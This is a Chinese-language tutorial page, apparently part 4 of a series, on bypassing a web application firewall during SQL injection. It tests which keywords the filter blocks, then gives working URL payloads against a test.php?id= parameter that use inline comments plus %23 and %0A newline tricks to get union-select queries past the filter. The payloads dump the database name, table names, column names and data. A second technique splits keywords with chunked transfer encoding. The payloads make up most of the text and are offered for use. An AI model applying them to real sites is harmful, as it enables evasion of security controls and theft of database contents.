主页 > 网络知识 > 怎样绕过waf,了解什么是waf(4)

怎样绕过waf,了解什么是waf(4)

 

waf绕过拍了拍你

 

修改payload

大小写AnD 1=1拦截  
大小写+内敛   /!ANd/ 1=1   拦截  

尝试变换一下and的形式,waf没有继续拦截,应该是使用正则匹配到了关键字

Axnxd不拦截  
等价替换   &&1   不拦截  

看来常用的内敛注释+普通注释无法绕过云锁对关键字的匹配

 

waf绕过拍了拍你

 

我们先fuzz一下看看哪些关键字被拦截了,经过测试可以看到,大部分字符单独存在不会被拦截。

例如 order by 被拦截既不是order 触发了waf,也不是by,是它们的组合触发了waf。

 

waf绕过拍了拍你

 

姿势一 规则对抗绕过

原理:注释+换行绕过

既然如此,这里我们可以通过

. 使用%23将后面的内容给注释掉

. 使用%0a将后面的内容进行换行,使后面的sql语句逃出注释就能继续执行了

遇到关键函数被拦截,就在其中插入注释与换行。

在数据库中查询情况如下图所示

 

waf绕过拍了拍你

 

使用order by判断出存在2列

 

Payload:test.php?id=1 /*!order*//**/%23A%0A/**/%23A%0A/*!by*//**/2

 

 

waf绕过拍了拍你

 

使用相同方法查询出用户名和数据库

 

Payload:test.php?id=1 /*!UNIon*//**/%23A%0A/**/%23A%0A/*!select*//**/database(),user/**/()

 

 

waf绕过拍了拍你

 

知道当前数据库名称后,可以利用information_schema数据库获取当前数据库中存在的表。如下图所示

 

Payload:test.php?id=1%20/*!UNIon*/%23A%0A/*!select*//**/database/**/(),group_concat(table_name)/**/%23A%0A/**/%23A%0A/*!from*//**/%23A%0Ainformation_schema.tables/**/%23A%0A/**/%23A%0Awhere%20table_schema=database/**/()

 

 

waf绕过拍了拍你

 

接下来就是列名与dump数据

 

test.php?id=1 /*!UNIon*/%23A%0A/*!select*//**/database/**/(),group_concat(column_name)/**/%23A%0A/**/%23A%0A/*!from*//**/%23A%0Ainformation_schema.columns/**/%23A%0A/**/%23A%0Awhere table_name=’users’

 

 

waf绕过拍了拍你

 

姿势二 http协议绕过

既然waf拦截组合,那我们通过分块传输将关键字分块

首先将请求方式变为post并抓包,修改数据包为分段传输格式

注意:这里Transfer-Encoding:的值设为x chunked而不是chunked

构造sql语句判断字段数

 

waf绕过拍了拍你

 

分割union select查询出数据库

 

waf绕过拍了拍你

 

成功爆出表名

 

waf绕过拍了拍你

 

后面继续构造sql语句爆出列名与详细数据

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!